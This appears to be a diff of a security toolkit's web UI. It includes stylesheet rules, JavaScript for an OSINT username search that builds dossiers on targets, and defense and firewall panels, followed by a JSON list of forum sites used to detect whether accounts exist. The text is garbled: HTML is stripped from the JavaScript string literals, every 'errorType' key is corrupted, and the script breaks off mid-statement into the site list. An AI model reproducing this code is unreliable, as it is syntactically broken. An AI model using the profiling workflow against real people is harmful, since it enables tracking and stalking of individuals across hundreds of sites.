font-size: 0.82rem; display: flex; flex-direction: column; + align-items: center; gap: 2px; transition: all 0.2s; +} +.hw-mode-btn:hover { background: var(--bg-hover); } +.hw-mode-btn.active { background: var(--accent); color: #fff; } +.hw-mode-btn.active .hw-mode-desc { color: rgba(255,255,255,0.7); } +.hw-mode-desc { font-size: 0.68rem; color: var(--text-muted); } +.hw-mode-warning { + font-size: 0.82rem; color: var(--warning); padding: 8px 12px; + background: rgba(234,179,8,0.08); border: 1px solid rgba(234,179,8,0.2); + border-radius: var(--radius); +} +.hw-checkbox { + display: flex; align-items: center; gap: 8px; font-size: 0.85rem; + color: var(--text-primary); cursor: pointer; +} +.hw-checkbox input { accent-color: var(--accent); } + +/* Responsive */ +@media (max-width: 768px) { + .sidebar { display: none; } + .content { margin-left: 0; padding: 16px; } + .stats-grid { grid-template-columns: repeat(2, 1fr); } + .category-grid { grid-template-columns: 1fr; } +} + +/* ── Stream output utility colors ────────────────────────────── */ +.err { color: var(--danger, #ef4444); } +.success { color: #22c55e; } +.warn { color: #f97316; } +.info { color: #60a5fa; } +.dim { color: var(--text-secondary, #888); } + +/* ── Agent Hal Chat Panel ──────────────────────────────────────── */ + +.hal-toggle-btn { + position: fixed; + bottom: 20px; + right: 20px; + z-index: 1100; + background: var(--accent); + color: #fff; + border: none; + border-radius: 20px; + padding: 8px 18px; + font-size: 0.85rem; + font-weight: 600; + letter-spacing: 0.05em; + cursor: pointer; + box-shadow: 0 2px 12px rgba(0,0,0,0.4); + transition: background 0.15s; +} +.hal-toggle-btn:hover { background: var(--accent-hover, #2563eb); } + +.hal-panel { + position: fixed; + bottom: 64px; + right: 20px; + z-index: 1100; + width: 360px; + height: 480px; + background: var(--bg-card, #1a1a2e); + border: 1px solid var(--border, #2a2a3e); + border-radius: 10px; + box-shadow: 0 8px 32px rgba(0,0,0,0.5); + display: flex; + flex-direction: column; + overflow: hidden; +} + +.hal-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 10px 14px; + background: var(--bg-nav, #12122a); + border-bottom: 1px solid var(--border, #2a2a3e); + font-size: 0.85rem; + font-weight: 600; + color: var(--accent); +} + +.hal-close { + background: none; + border: none; + color: var(--text-secondary, #888); + cursor: pointer; + font-size: 0.9rem; + padding: 2px 6px; + border-radius: 4px; + line-height: 1; +} +.hal-close:hover { color: var(--text, #e0e0e0); background: var(--bg-hover, #2a2a3e); } + +.hal-messages { + flex: 1; + overflow-y: auto; + padding: 10px 12px; + display: flex; + flex-direction: column; + gap: 8px; +} + +.hal-msg { + padding: 7px 10px; + border-radius: 8px; + font-size: 0.82rem; + line-height: 1.5; + white-space: pre-wrap; + word-break: break-word; + max-width: 92%; +} +.hal-msg-user { + background: var(--accent); + color: #fff; + align-self: flex-end; + border-bottom-right-radius: 2px; +} +.hal-msg-bot { + background: var(--bg-hover, #2a2a3e); + color: var(--text, #e0e0e0); + align-self: flex-start; + border-bottom-left-radius: 2px; +} + +.hal-footer { + display: flex; + gap: 6px; + padding: 8px 10px; + border-top: 1px solid var(--border, #2a2a3e); + background: var(--bg-nav, #12122a); +} +.hal-footer input { + flex: 1; + font-size: 0.82rem; + padding: 5px 9px; + background: var(--bg-input, #0d0d1a); + border: 1px solid var(--border, #2a2a3e); + border-radius: 6px; + color: var(--text, #e0e0e0); +} +.hal-footer input:focus { outline: none; border-color: var(--accent); } + +/* ── Debug Console Window ─────────────────────────────────────── */ + +.debug-toggle-btn { + position: fixed; + bottom: 56px; + right: 20px; + z-index: 1100; + background: #1a1a1a; + color: #22c55e; + border: 1px solid #22c55e; + border-radius: 6px; + padding: 5px 12px; + font-size: 0.75rem; + font-weight: 700; + letter-spacing: 0.1em; + cursor: pointer; + font-family: monospace; + box-shadow: 0 0 8px rgba(34, 197, 94, 0.25); + transition: box-shadow 0.15s; +} +.debug-toggle-btn:hover { box-shadow: 0 0 14px rgba(34, 197, 94, 0.5); } + +.debug-panel { + position: fixed; + top: 60px; + right: 20px; + z-index: 1050; + width: 680px; + max-width: calc(100vw - 40px); + height: 480px; + background: #0a0a0a; + border: 1px solid #1e3a1e; + border-radius: 8px; + box-shadow: 0 8px 40px rgba(0,0,0,0.7), 0 0 20px rgba(34, 197, 94, 0.08); + display: flex; + flex-direction: column; + overflow: hidden; + resize: both; +} + +.debug-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 7px 12px; + background: #0d1a0d; + border-bottom: 1px solid #1e3a1e; + cursor: grab; + user-select: none; + flex-shrink: 0; +} +.debug-header:active { cursor: grabbing; } + +.debug-live-dot { + display: inline-block; + width: 8px; + height: 8px; + border-radius: 50%; + background: #333; + flex-shrink: 0; + transition: background 0.3s; +} +.debug-live-dot.debug-live-active { + background: #22c55e; + box-shadow: 0 0 6px rgba(34, 197, 94, 0.8); + animation: debug-pulse 1.8s ease-in-out infinite; +} +@keyframes debug-pulse { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.4; } +} + +.debug-btn { + background: none; + border: none; + color: #555; + cursor: pointer; + font-size: 0.85rem; + padding: 2px 6px; + border-radius: 4px; + line-height: 1; +} +.debug-btn:hover { color: #22c55e; background: #1a2a1a; } + +.debug-output { + flex: 1; + overflow-y: auto; + padding: 6px 10px; + font-family: 'Consolas', 'Fira Code', 'Courier New', monospace; + font-size: 0.78rem; + line-height: 1.55; + color: #c0c0c0; + scrollbar-width: thin; + scrollbar-color: #1e3a1e #080808; +} +.debug-output::-webkit-scrollbar { width: 6px; } +.debug-output::-webkit-scrollbar-thumb { background: #1e3a1e; border-radius: 3px; } + +.debug-line { white-space: pre-wrap; word-break: break-all; padding: 1px 0; } +.dbg-debug { color: #555; } +.dbg-info { color: #60a5fa; } +.dbg-warn { color: #f97316; } +.dbg-err { color: #ef4444; } +.dbg-crit { color: #ef4444; font-weight: 700; text-shadow: 0 0 8px rgba(239,68,68,0.5); } + +.debug-controls { + display: flex; + align-items: center; + gap: 0; + padding: 6px 10px; + background: #080808; + border-top: 1px solid #1e3a1e; + flex-wrap: wrap; + gap: 4px; + flex-shrink: 0; +} + +.debug-check-label { + display: flex; + align-items: center; + gap: 4px; + font-size: 0.7rem; + font-family: monospace; + color: #666; + cursor: pointer; + padding: 3px 8px; + border-radius: 4px; + border: 1px solid #1a2a1a; + transition: color 0.15s, border-color 0.15s, background 0.15s; + white-space: nowrap; +} +.debug-check-label:hover { color: #22c55e; border-color: #22c55e; background: #0d1a0d; } +.debug-check-label input { accent-color: #22c55e; cursor: pointer; margin: 0; } +.debug-check-label:has(input:checked) { + color: #22c55e; + border-color: #22c55e; + background: #0d1a0d; +} diff --git a/web/static/js/app.js b/web/static/js/app.js new file mode 100644 index 0000000..1bb8382 --- /dev/null +++ b/web/static/js/app.js @@ -0,0 +1,2337 @@ +/* AUTARCH Web UI - Vanilla JS */ + +// Auto-dismiss flash messages after 5s +document.addEventListener('DOMContentLoaded', function() { + document.querySelectorAll('.flash').forEach(function(el) { + setTimeout(function() { el.style.opacity = '0'; setTimeout(function() { el.remove(); }, 300); }, 5000); + }); +}); + +// ==================== HELPERS ==================== + +function escapeHtml(str) { + var div = document.createElement('div'); + div.textContent = str; + return div.innerHTML; +} + +function fetchJSON(url, options) { + options = options || {}; + options.headers = options.headers || {}; + options.headers['Accept'] = 'application/json'; + return fetch(url, options).then(function(resp) { + if (resp.status === 401 || resp.status === 302) { + window.location.href = '/auth/login'; + throw new Error('Unauthorized'); + } + return resp.json(); + }); +} + +function postJSON(url, body) { + return fetchJSON(url, { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(body) + }); +} + +function renderOutput(elementId, text) { + var el = document.getElementById(elementId); + if (el) el.textContent = text; +} + +function showTab(tabGroup, tabId) { + document.querySelectorAll('[data-tab-group="' + tabGroup + '"].tab').forEach(function(t) { + t.classList.toggle('active', t.dataset.tab === tabId); + }); + document.querySelectorAll('[data-tab-group="' + tabGroup + '"].tab-content').forEach(function(c) { + c.classList.toggle('active', c.dataset.tab === tabId); + }); +} + +function setLoading(btn, loading) { + if (loading) { + btn.dataset.origText = btn.textContent; + btn.textContent = 'Loading...'; + btn.disabled = true; + } else { + btn.textContent = btn.dataset.origText || btn.textContent; + btn.disabled = false; + } +} + +// ==================== OSINT ==================== + +var osintEventSource = null; +var osintResults = []; +var currentDossierId = null; + +function getSelectedCategories() { + var boxes = document.querySelectorAll('.cat-checkbox'); + if (boxes.length === 0) return ''; + var allChecked = document.getElementById('cat-all'); + if (allChecked && allChecked.checked) return ''; + var selected = []; + boxes.forEach(function(cb) { if (cb.checked) selected.push(cb.value); }); + return selected.join(','); +} + +function toggleAllCategories(checked) { + document.querySelectorAll('.cat-checkbox').forEach(function(cb) { cb.checked = checked; }); +} + +function toggleAdvanced() { + var body = document.getElementById('advanced-body'); + var arrow = document.getElementById('adv-arrow'); + body.classList.toggle('visible'); + arrow.classList.toggle('open'); +} + +function stopOsintSearch() { + if (osintEventSource) { + osintEventSource.close(); + osintEventSource = null; + } + var searchBtn = document.getElementById('search-btn'); + var stopBtn = document.getElementById('stop-btn'); + searchBtn.disabled = false; + searchBtn.textContent = 'Search'; + stopBtn.style.display = 'none'; + document.getElementById('progress-text').textContent = 'Search stopped.'; +} + +function startOsintSearch() { + var query = document.getElementById('osint-query').value.trim(); + if (!query) return; + + var type = document.getElementById('osint-type').value; + var maxSites = document.getElementById('osint-max').value; + var nsfw = document.getElementById('osint-nsfw') && document.getElementById('osint-nsfw').checked; + var categories = getSelectedCategories(); + + // Advanced options + var threads = document.getElementById('osint-threads') ? document.getElementById('osint-threads').value : '8'; + var timeout = document.getElementById('osint-timeout') ? document.getElementById('osint-timeout').value : '8'; + var ua = document.getElementById('osint-ua') ? document.getElementById('osint-ua').value : ''; + var proxy = document.getElementById('osint-proxy') ? document.getElementById('osint-proxy').value.trim() : ''; + + var resultsDiv = document.getElementById('osint-results'); + var progressFill = document.getElementById('progress-fill'); + var progressText = document.getElementById('progress-text'); + + resultsDiv.innerHTML = ''; + progressFill.style.width = '0%'; + progressText.textContent = 'Starting search...'; + osintResults = []; + + // Show/hide UI elements + document.getElementById('results-section').style.display = 'block'; + document.getElementById('osint-summary').style.display = 'flex'; + document.getElementById('result-actions').style.display = 'none'; + document.getElementById('save-dossier-panel').style.display = 'none'; + document.getElementById('sum-checked').textContent = '0'; + document.getElementById('sum-found').textContent = '0'; + document.getElementById('sum-maybe').textContent = '0'; + document.getElementById('sum-filtered').textContent = '0'; + + var searchBtn = document.getElementById('search-btn'); + var stopBtn = document.getElementById('stop-btn'); + searchBtn.disabled = true; + searchBtn.textContent = 'Searching...'; + stopBtn.style.display = 'inline-block'; + + var url = '/osint/search/stream?type=' + type + '&q=' + encodeURIComponent(query) + + '&max=' + maxSites + '&nsfw=' + (nsfw ? 'true' : 'false') + + '&categories=' + encodeURIComponent(categories) + + '&threads=' + threads + '&timeout=' + timeout; + if (ua) url += '&ua=' + encodeURIComponent(ua); + if (proxy) url += '&proxy=' + encodeURIComponent(proxy); + + var source = new EventSource(url); + osintEventSource = source; + var foundCount = 0; + var maybeCount = 0; + var filteredCount = 0; + + source.onmessage = function(e) { + var data = JSON.parse(e.data); + + if (data.type === 'start') { + progressText.textContent = 'Checking ' + data.total + ' sites...'; + } else if (data.type === 'result') { + var pct = ((data.checked / data.total) * 100).toFixed(1); + progressFill.style.width = pct + '%'; + progressText.textContent = data.checked + ' / ' + data.total + ' checked'; + document.getElementById('sum-checked').textContent = data.checked; + + if (data.status === 'good') { + foundCount++; + document.getElementById('sum-found').textContent = foundCount; + osintResults.push(data); + var card = document.createElement('div'); + card.className = 'result-card found'; + card.dataset.status = 'good'; + card.onclick = function() { toggleResultDetail(card); }; + var conf = data.rate || 0; + var confClass = conf >= 70 ? 'high' : conf >= 50 ? 'medium' : 'low'; + card.innerHTML = '
    ' + escapeHtml(data.site) + ' ' + + '' + conf + '%' + + '' + + '' + escapeHtml(data.category || '') + '' + + '
    ' + + '' + + (data.title ? '
    Title: ' + escapeHtml(data.title) + '
    ' : '') + + '
    Method: ' + escapeHtml(data.method || '') + ' | HTTP ' + (data.http_code || '') + '
    ' + + '
    ' + + 'Open'; + resultsDiv.prepend(card); + } else if (data.status === 'maybe') { + maybeCount++; + document.getElementById('sum-maybe').textContent = maybeCount; + osintResults.push(data); + var card = document.createElement('div'); + card.className = 'result-card maybe'; + card.dataset.status = 'maybe'; + card.onclick = function() { toggleResultDetail(card); }; + var conf = data.rate || 0; + var confClass = conf >= 50 ? 'medium' : 'low'; + card.innerHTML = '
    ' + escapeHtml(data.site) + ' ' + + '' + conf + '%' + + '' + + '' + escapeHtml(data.category || '') + '' + + '
    ' + + '' + + (data.title ? '
    Title: ' + escapeHtml(data.title) + '
    ' : '') + + '
    Method: ' + escapeHtml(data.method || '') + ' | HTTP ' + (data.http_code || '') + '
    ' + + '
    ' + + 'Open'; + resultsDiv.appendChild(card); + } else if (data.status === 'filtered') { + filteredCount++; + document.getElementById('sum-filtered').textContent = filteredCount; + var card = document.createElement('div'); + card.className = 'result-card filtered'; + card.dataset.status = 'filtered'; + card.innerHTML = '' + escapeHtml(data.site) + 'WAF/Filtered'; + resultsDiv.appendChild(card); + } + } else if (data.type === 'done') { + progressFill.style.width = '100%'; + progressText.textContent = 'Done: ' + data.checked + ' checked, ' + data.found + ' found, ' + (data.maybe || 0) + ' possible'; + source.close(); + osintEventSource = null; + searchBtn.disabled = false; + searchBtn.textContent = 'Search'; + stopBtn.style.display = 'none'; + if (osintResults.length > 0) { + document.getElementById('result-actions').style.display = 'flex'; + } + } else if (data.type === 'error' || data.error) { + progressText.textContent = 'Error: ' + (data.message || data.error); + source.close(); + osintEventSource = null; + searchBtn.disabled = false; + searchBtn.textContent = 'Search'; + stopBtn.style.display = 'none'; + } + }; + + source.onerror = function() { + source.close(); + osintEventSource = null; + searchBtn.disabled = false; + searchBtn.textContent = 'Search'; + stopBtn.style.display = 'none'; + progressText.textContent = 'Connection lost'; + }; +} + +function toggleResultDetail(card) { + var detail = card.querySelector('.result-detail'); + if (detail) detail.classList.toggle('visible'); +} + +function filterResults(filter) { + document.querySelectorAll('.result-filters .filter-btn').forEach(function(b) { + b.classList.toggle('active', b.dataset.filter === filter); + }); + document.querySelectorAll('#osint-results .result-card').forEach(function(card) { + if (filter === 'all') { + card.style.display = ''; + } else { + card.style.display = card.dataset.status === filter ? '' : 'none'; + } + }); +} + +function openAllFound() { + osintResults.forEach(function(r) { + if (r.status === 'good' && r.url) { + window.open(r.url, '_blank'); + } + }); +} + +function exportResults(fmt) { + var query = document.getElementById('osint-query').value.trim(); + postJSON('/osint/export', { + results: osintResults, + format: fmt, + query: query + }).then(function(data) { + if (data.error) { alert('Export error: ' + data.error); return; } + alert('Exported to: ' + data.path); + }); +} + +function showSaveToDossier() { + var panel = document.getElementById('save-dossier-panel'); + panel.style.display = 'block'; + document.getElementById('dossier-save-status').textContent = ''; + // Load existing dossiers for selection + fetchJSON('/osint/dossiers').then(function(data) { + var list = document.getElementById('dossier-select-list'); + var dossiers = data.dossiers || []; + if (dossiers.length === 0) { + list.innerHTML = '
    No existing dossiers. Create one below.
    '; + return; + } + var html = ''; + dossiers.forEach(function(d) { + html += ''; + }); + list.innerHTML = html; + }); +} + +function saveToDossier(dossierId) { + postJSON('/osint/dossier/' + dossierId + '/add', {results: osintResults}).then(function(data) { + var status = document.getElementById('dossier-save-status'); + if (data.error) { status.textContent = 'Error: ' + data.error; return; } + status.textContent = 'Added ' + data.added + ' results (total: ' + data.total + ')'; + status.style.color = 'var(--success)'; + }); +} + +function createAndSaveDossier() { + var name = document.getElementById('new-dossier-name').value.trim(); + if (!name) return; + var query = document.getElementById('osint-query').value.trim(); + postJSON('/osint/dossier', {name: name, target: query}).then(function(data) { + if (data.error) { document.getElementById('dossier-save-status').textContent = 'Error: ' + data.error; return; } + document.getElementById('new-dossier-name').value = ''; + saveToDossier(data.dossier.id); + }); +} + +// ==================== DOSSIER MANAGEMENT ==================== + +function loadDossiers() { + fetchJSON('/osint/dossiers').then(function(data) { + var container = document.getElementById('dossier-list'); + var dossiers = data.dossiers || []; + if (dossiers.length === 0) { + container.innerHTML = '
    No dossiers yet. Run a search and save results.
    '; + return; + } + var html = ''; + dossiers.forEach(function(d) { + html += '
    ' + + '

    ' + escapeHtml(d.name) + '

    ' + + '
    ' + escapeHtml(d.target || '') + ' | ' + escapeHtml(d.created ? d.created.split('T')[0] : '') + '
    ' + + '
    ' + d.result_count + ' results
    ' + + '
    '; + }); + container.innerHTML = html; + }); +} + +function viewDossier(dossierId) { + currentDossierId = dossierId; + fetchJSON('/osint/dossier/' + dossierId).then(function(data) { + if (data.error) { alert(data.error); return; } + var d = data.dossier; + document.getElementById('dossier-detail').style.display = 'block'; + document.getElementById('dossier-detail-name').textContent = d.name + (d.target ? ' - ' + d.target : ''); + document.getElementById('dossier-notes').value = d.notes || ''; + + var results = d.results || []; + var container = document.getElementById('dossier-results-list'); + if (results.length === 0) { + container.innerHTML = '
    No results in this dossier.
    '; + return; + } + var html = ''; + results.forEach(function(r) { + var badgeCls = r.status === 'good' ? 'badge-pass' : r.status === 'maybe' ? 'badge-medium' : 'badge-info'; + html += '
    ' + + '
    ' + escapeHtml(r.name) + ' ' + + '' + (r.rate || 0) + '%' + + '' + escapeHtml(r.category || '') + '
    ' + + 'Open' + + '
    '; + }); + container.innerHTML = html; + }); +} + +function saveDossierNotes() { + if (!currentDossierId) return; + var notes = document.getElementById('dossier-notes').value; + fetchJSON('/osint/dossier/' + currentDossierId, { + method: 'PUT', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({notes: notes}) + }).then(function(data) { + if (data.success) alert('Notes saved.'); + }); +} + +function deleteDossier() { + if (!currentDossierId || !confirm('Delete this dossier?')) return; + fetchJSON('/osint/dossier/' + currentDossierId, {method: 'DELETE'}).then(function(data) { + if (data.success) { + closeDossierDetail(); + loadDossiers(); + } + }); +} + +function closeDossierDetail() { + document.getElementById('dossier-detail').style.display = 'none'; + currentDossierId = null; +} + +function exportDossier(fmt) { + if (!currentDossierId) return; + fetchJSON('/osint/dossier/' + currentDossierId).then(function(data) { + if (data.error) return; + var d = data.dossier; + postJSON('/osint/export', { + results: d.results || [], + format: fmt, + query: d.target || d.name + }).then(function(exp) { + if (exp.error) { alert('Export error: ' + exp.error); return; } + alert('Exported to: ' + exp.path); + }); + }); +} + +// ==================== DEFENSE ==================== + +function runDefenseAudit() { + var btn = document.getElementById('btn-audit'); + setLoading(btn, true); + postJSON('/defense/audit', {}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('audit-output', 'Error: ' + data.error); return; } + // Score + var scoreEl = document.getElementById('audit-score'); + if (scoreEl) { + scoreEl.textContent = data.score + '%'; + scoreEl.style.color = data.score >= 80 ? 'var(--success)' : data.score >= 50 ? 'var(--warning)' : 'var(--danger)'; + } + // Checks table + var html = ''; + (data.checks || []).forEach(function(c) { + html += '
    '; + }); + document.getElementById('audit-results').innerHTML = html; + }).catch(function() { setLoading(btn, false); }); +} + +function runDefenseCheck(name) { + var resultEl = document.getElementById('check-result-' + name); + if (resultEl) { resultEl.textContent = 'Running...'; resultEl.style.display = 'block'; } + postJSON('/defense/check/' + name, {}).then(function(data) { + if (data.error) { if (resultEl) resultEl.textContent = 'Error: ' + data.error; return; } + var lines = (data.checks || []).map(function(c) { + return (c.passed ? '[PASS] ' : '[FAIL] ') + c.name + (c.details ? ' - ' + c.details : ''); + }); + if (resultEl) resultEl.textContent = lines.join('\n') || 'No results'; + }).catch(function() { if (resultEl) resultEl.textContent = 'Request failed'; }); +} + +function loadFirewallRules() { + fetchJSON('/defense/firewall/rules').then(function(data) { + renderOutput('fw-rules', data.rules || 'Could not load rules'); + }); +} + +function blockIP() { + var ip = document.getElementById('block-ip').value.trim(); + if (!ip) return; + postJSON('/defense/firewall/block', {ip: ip}).then(function(data) { + renderOutput('fw-result', data.message || data.error); + if (data.success) { document.getElementById('block-ip').value = ''; loadFirewallRules(); } + }); +} + +function unblockIP(ip) { + postJSON('/defense/firewall/unblock', {ip: ip}).then(function(data) { + renderOutput('fw-result', data.message || data.error); + if (data.success) loadFirewallRules(); + }); +} + +function analyzeLogs() { + var btn = document.getElementById('btn-logs'); + setLoading(btn, true); + postJSON('/defense/logs/analyze', {}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('log-output', 'Error: ' + data.error); return; } + var lines = []; + if (data.auth_results && data.auth_results.length) { + lines.push('=== Auth Log Analysis ==='); + data.auth_results.forEach(function(r) { + lines.push(r.ip + ': ' + r.count + ' failures (' + (r.usernames||[]).join(', ') + ')'); + }); + } + if (data.web_results && data.web_results.length) { + lines.push('\n=== Web Log Findings ==='); + data.web_results.forEach(function(r) { + lines.push('[' + r.severity + '] ' + r.type + ' from ' + r.ip + ' - ' + (r.detail||'')); + }); + } + renderOutput('log-output', lines.join('\n') || 'No findings'); + }).catch(function() { setLoading(btn, false); }); +} + +// ==================== COUNTER ==================== + +function runCounterScan() { + var btn = document.getElementById('btn-scan'); + setLoading(btn, true); + postJSON('/counter/scan', {}).then(function(data) { + setLoading(btn, false); + if (data.error) { renderOutput('scan-output', 'Error: ' + data.error); return; } + var container = document.getElementById('scan-results'); + var html = ''; + var threats = data.threats || []; + if (threats.length === 0) { + html = '
    No threats detected.
    '; + } else { + threats.forEach(function(t) { + var cls = t.severity === 'high' ? 'badge-high' : t.severity === 'medium' ? 'badge-medium' : 'badge-low'; + html += '
    ' + escapeHtml(t.severity).toUpperCase() + + '
    ' + escapeHtml(t.message) + + '
    ' + escapeHtml(t.category) + '
    '; + }); + } + container.innerHTML = html; + // Summary + var sumEl = document.getElementById('scan-summary'); + if (sumEl && data.summary) sumEl.textContent = data.summary; + }).catch(function() { setLoading(btn, false); }); +} + +function runCounterCheck(name) { + var resultEl = document.getElementById('counter-result-' + name); + if (resultEl) { resultEl.textContent = 'Running...'; resultEl.style.display = 'block'; } + postJSON('/counter/check/' + name, {}).then(function(data) { + if (data.error) { if (resultEl) resultEl.textContent = 'Error: ' + data.error; return; } + var lines = (data.threats || []).map(function(t) { + return '[' + t.severity.toUpperCase() + '] ' + t.category + ': ' + t.message; + }); + if (resultEl) resultEl.textContent = lines.join('\n') || data.message || 'No threats found'; + }).catch(function() { if (resultEl) resultEl.textContent = 'Request failed'; }); +} + +function loadLogins() { + var btn = document.getElementById('btn-logins'); + setLoading(btn, true); + fetchJSON('/counter/logins').then(function(data) { + setLoading(btn, false); + var container = document.getElementById('login-results'); + if (data.error) { container.innerHTML = '
    ' + escapeHtml(data.error) + '
    '; return; } + var attempts = data.attempts || []; + if (attempts.length === 0) { + container.innerHTML = '
    No failed login attempts found.
    '; + return; + } + var html = '
    403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mradchenko-ezo.ucoz.ru/index/8-0-{}", + "urlMain": "https://mradchenko-ezo.ucoz.ru", + "usernameON": "Telejaw", + "bad_site": "" + }, + "Forum_msa-iptv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Користувача не знайдено", + "errorTyp��": "message", + "url": "http://msa-iptv.net/index/8-0-{}", + "urlMain": "http://msa-iptv.net", + "usernameON": "grigorili", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_msextra": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search at this time", + "errorTyp��": "message", + "url": "https://www.msextra.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.msextra.com", + "usernameON": "Laminar", + "bad_site": "" + }, + "Forum_msfn": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://msfn.org/board/search/?q={}&quick=1&type=core_members", + "urlMain": "https://msfn.org", + "usernameON": "lmacri", + "bad_site": "" + }, + "Forum_msiu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://msiwind.ucoz.net/index/8-0-{}", + "urlMain": "https://msiwind.ucoz.net", + "usernameON": "TimurR", + "bad_site": "" + }, + "Forum_mskwa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://mskwa.foroesp.com/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://mskwa.foroesp.com", + "usernameON": "tony", + "bad_site": "" + }, + "Forum_mssuao": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mssuao.my1.ru/index/8-0-{}", + "urlMain": "https://mssuao.my1.ru/", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_mt5": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Forex Forum | Forex Trading Forums | MT5 Forum", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forum.mt5.com/member.php?username={}", + "urlMain": "https://forum.mt5.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Forum_mta-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mta-info.ru/index/8-0-{}", + "urlMain": "https://mta-info.ru", + "usernameON": "Online", + "bad_site": "" + }, + "Forum_mtbr": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mtbr.com/members/?username={}", + "urlMain": "https://www.mtbr.com", + "usernameON": "aargar", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_mucs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mucs.ucoz.ru/index/8-0-{}", + "urlMain": "https://mucs.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_muffingroup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.muffingroup.com/betheme/profile/{}", + "urlMain": "https://forum.muffingroup.com", + "usernameON": "charlie27", + "bad_site": "" + }, + "Forum_muppet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://muppet.fandom.com/wiki/User:{}", + "urlMain": "https://muppet.fandom.com", + "usernameON": "Reidtaub", + "bad_site": "" + }, + "Forum_musclemecca": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://musclemecca.com/members/?username={}", + "urlMain": "https://musclemecca.com", + "usernameON": "tkd", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_musflat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://musflat.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://musflat.kamrbb.ru", + "usernameON": "555serg2005", + "bad_site": "" + }, + "Forum_musik3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://musik3.ucoz.ru/index/8-0-{}", + "urlMain": "http://musik3.ucoz.ru/", + "usernameON": "Futbolki", + "bad_site": "" + }, + "Forum_muz-tv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://muz-tv-forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://muz-tv-forum.ucoz.ru", + "usernameON": "nadinvorobei", + "bad_site": "" + }, + "Forum_muzcom": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzcom.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzcom.kamrbb.ru", + "usernameON": "%CA%EE%ED%F0%E0%E4", + "bad_site": "" + }, + "Forum_muzlar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzlar.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzlar.kamrbb.ru", + "usernameON": "%F8%F3%EC%E8%EB%E8%ED", + "bad_site": "" + }, + "Forum_mxlinux": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.mxlinux.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.mxlinux.org", + "usernameON": "Stevo", + "bad_site": "" + }, + "Forum_mya": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| 